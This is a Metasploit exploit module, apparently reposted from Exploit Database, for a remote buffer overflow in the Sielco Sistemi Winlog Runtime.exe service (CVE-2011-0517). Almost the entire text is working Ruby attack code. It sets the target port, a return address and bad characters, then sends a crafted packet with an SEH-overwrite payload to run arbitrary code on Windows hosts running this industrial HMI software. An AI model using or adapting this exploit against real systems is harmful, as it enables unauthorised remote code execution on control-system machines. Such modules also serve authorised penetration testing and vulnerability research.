Sielco Sistemi Winlog – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2011-06-21
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17430/

• ##
  # $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Sielco
  				Sistem Winlog <= 2.07.00. When sending a specially formatted
  				packet to the Runtime.exe service, an attacker may be able to
  				execute arbitrary code.
  			},
  			'Author' => [ 'Luigi Auriemma', 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 13000 $',
  			'References' =>
  				[
  					[ 'CVE', '2011-0517' ],
  					[ 'OSVDB', '70418'],
  					[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload'=>
  				{
  					'Space'=> 450,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Jan 13 2011'))
  
  		register_options([Opt::RPORT(46823)], self.class)
  	end
  
  	def exploit
  
  		connect
  
  		data =[0x02].pack('C') # opcode
  		data << [0x0101].pack('n')
  		data << rand_text_alpha_upper(588)
  		data << generate_seh_payload(target.ret)
  
  		print_status("Trying target #{target.name}...")
  		sock.put(data)
  
  		handler
  		disconnect
  
  	end
  
  end